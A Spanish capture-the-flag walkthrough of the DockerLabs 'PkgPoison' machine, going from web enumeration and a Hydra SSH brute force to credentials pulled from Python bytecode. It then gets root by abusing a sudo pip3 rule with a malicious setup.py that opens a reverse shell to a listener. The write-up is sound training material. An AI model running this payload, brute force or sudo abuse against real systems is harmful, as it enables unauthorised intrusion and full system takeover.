> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/pkgpoison.md).

# PkgPoison

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena de explotacion empieza con una nota expuesta en el servidor web. La nota revela unas credenciales antiguas para el usuario `dev`; aunque ya no sirven directamente por SSH, permiten confirmar un usuario valido y lanzar una fuerza bruta controlada hasta encontrar su password actual.

Desde el acceso como `dev`, la enumeracion local descubre bytecode de Python en `/opt/scripts/__pycache__` con credenciales reutilizables para `admin`. La escalada final llega por una regla `sudo` peligrosa que permite ejecutar `pip3 install *` como root.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVC -Pn -n -p- 172.17.0.2
```

![Nmap](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-e227dd530beec575dab400a578f98ba70dc38cc9%2F2026-05-21-20-38-22.png?alt=media)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 8.2p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.41 Ubuntu |

***

## Enumeracion web

Al acceder al puerto 80 aparece una pagina tipo buscador:

```
http://172.17.0.2
```

![Web principal](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-0e67d0c0149c879ff50ebec130074902d181bfa6%2F2026-05-21-20-38-51.png?alt=media)

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u 172.17.0.2:80 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 -t 60
```

![Gobuster](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-1b49fec6df7acbdfa62e17c355c2e1493e454082%2F2026-05-21-20-42-10.png?alt=media)

Aparecen estos recursos:

| Ruta             | Codigo | Comentario             |
| ---------------- | ------ | ---------------------- |
| `/index.html`    | 200    | Pagina principal       |
| `/notes/`        | 301    | Directorio interesante |
| `/server-status` | 403    | Restringido            |

Dentro de `/notes/` se encuentra `note.txt`:

```
http://172.17.0.2/notes/note.txt
```

![note.txt](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-ce2ea6d7449ed64af856b784b7fe5da8ead3218a%2F2026-05-21-20-42-00.png?alt=media)

La nota expone unas credenciales debiles:

```
dev:developer123
```

***

## Fuerza bruta SSH

Se intenta acceder por SSH con las credenciales encontradas:

```bash
ssh dev@172.17.0.2
```

![SSH dev developer123](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-be36c6a88fa178242c7b27714aabb59b958dc6ea%2F2026-05-21-20-45-48.png?alt=media)

La password ya no es valida, pero el usuario `dev` queda confirmado. Se lanza Hydra con `rockyou.txt`:

```bash
hydra -l dev -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I -t 64
```

![Hydra dev](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-606b8c0ea3d58cddacd70eabaf326ec5556b584c%2F2026-05-21-20-45-56.png?alt=media)

Hydra encuentra la password:

```
dev:computer
```

Se accede por SSH:

```bash
ssh dev@172.17.0.2
```

![SSH dev computer](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c8411d17e8878859433777fbf310e91ef9f5fb85%2F2026-05-21-20-46-10.png?alt=media)

***

## Enumeracion local

Como `dev`, se revisan permisos de `sudo`, binarios SUID y capabilities:

```bash
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
```

![Enumeracion dev](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-88b43bff423341ff4e0fb15bdeba7ef8ad2ceaf5%2F2026-05-21-20-47-48.png?alt=media)

El usuario `dev` no puede ejecutar comandos con `sudo`, y la primera enumeracion no da una escalada directa. Al revisar directorios del sistema aparece `/opt/scripts`:

![opt scripts](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-afcab60a9ad45a9b1c767f10357c08d272d0bf43%2F2026-05-21-20-50-31.png?alt=media)

Dentro se encuentra un directorio `__pycache__` con bytecode de Python:

```bash
cd /opt/scripts/__pycache__
ls -la
cat secret.cpython-38.pyc
```

![pyc](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-91f2954ec9c1eede524dd8aaf47e798b45fb3a44%2F2026-05-21-20-50-58.png?alt=media)

El archivo no es codigo fuente legible, pero `strings` permite extraer cadenas interesantes:

```bash
strings secret.cpython-38.pyc
```

![strings pyc](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-eeb827c5ec1cd75be539484c59d4b7810c34e9c2%2F2026-05-21-20-51-10.png?alt=media)

Aparecen credenciales para `admin`:

```
admin:p@$$w0r8321
```

Se cambia al usuario `admin`:

```bash
su admin
```

![su admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-89804f5b214d4f64957fc08958fc84323ec1aea8%2F2026-05-21-20-51-42.png?alt=media)

***

## Escalada a root

Como `admin`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

![sudo admin](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-c67705f1688d1d1d4acf3586790c6d3ca0037db9%2F2026-05-21-20-52-12.png?alt=media)

El usuario puede ejecutar `pip3 install` como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/pip3 install *
```

Esto permite abusar de un `setup.py` malicioso: al instalar el paquete, `pip` ejecutara codigo Python con privilegios de root. Se prepara un listener:

```bash
nc -lvnp 1234
```

En la maquina victima se crea `setup.py` con una reverse shell:

```python
import os
import socket
import subprocess

from setuptools import setup
from setuptools.command.install import install

class Exploit(install):
    def run(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        os.dup2(s.fileno(), 0)
        os.dup2(s.fileno(), 1)
        os.dup2(s.fileno(), 2)
        subprocess.call(["/bin/sh", "-i"])

setup(
    cmdclass={
        "install": Exploit
    }
)
```

La estructura del `setup.py` se puede contrastar con esta referencia practica sobre escalada mediante `pip`: <https://0xma.github.io/hacking/escalate\\_privileges\\_via\\_pip.html>. En nuestro caso se adapta la IP y el puerto al entorno de DockerLabs.

![setup py](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-da91a6d0f183e2e7547a067c2f293c7ce16df943%2F2026-05-21-20-59-57.png?alt=media)

Se ejecuta la instalacion con `sudo`:

```bash
sudo /usr/bin/pip3 install .
```

![pip install](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fdd1921a32a48988441bb4857f01ac93410d92dd%2F2026-05-21-20-59-46.png?alt=media)

Al listener llega una shell como `root`:

![Root](https://2220205653-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FxkoK6YMWLFkdTSwg4z92%2Fuploads%2Fgit-blob-fd6c9acbf9c9e2ec42921e530b9c6a6313132242%2F2026-05-21-21-00-17.png?alt=media)

Se confirma el usuario:

```bash
whoami
```

```
root
```

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster hasta encontrar `/notes/`.
3. Lectura de `/notes/note.txt` con credenciales antiguas de `dev`.
4. Confirmacion de usuario valido y fuerza bruta SSH con Hydra.
5. Acceso como `dev` con la password `computer`.
6. Enumeracion local hasta encontrar `/opt/scripts/__pycache__/secret.cpython-38.pyc`.
7. Extraccion de cadenas del bytecode con `strings`.
8. Obtencion de credenciales para `admin`.
9. Abuso de `sudo /usr/bin/pip3 install *` mediante un `setup.py` malicioso.
10. Reverse shell final como `root`.
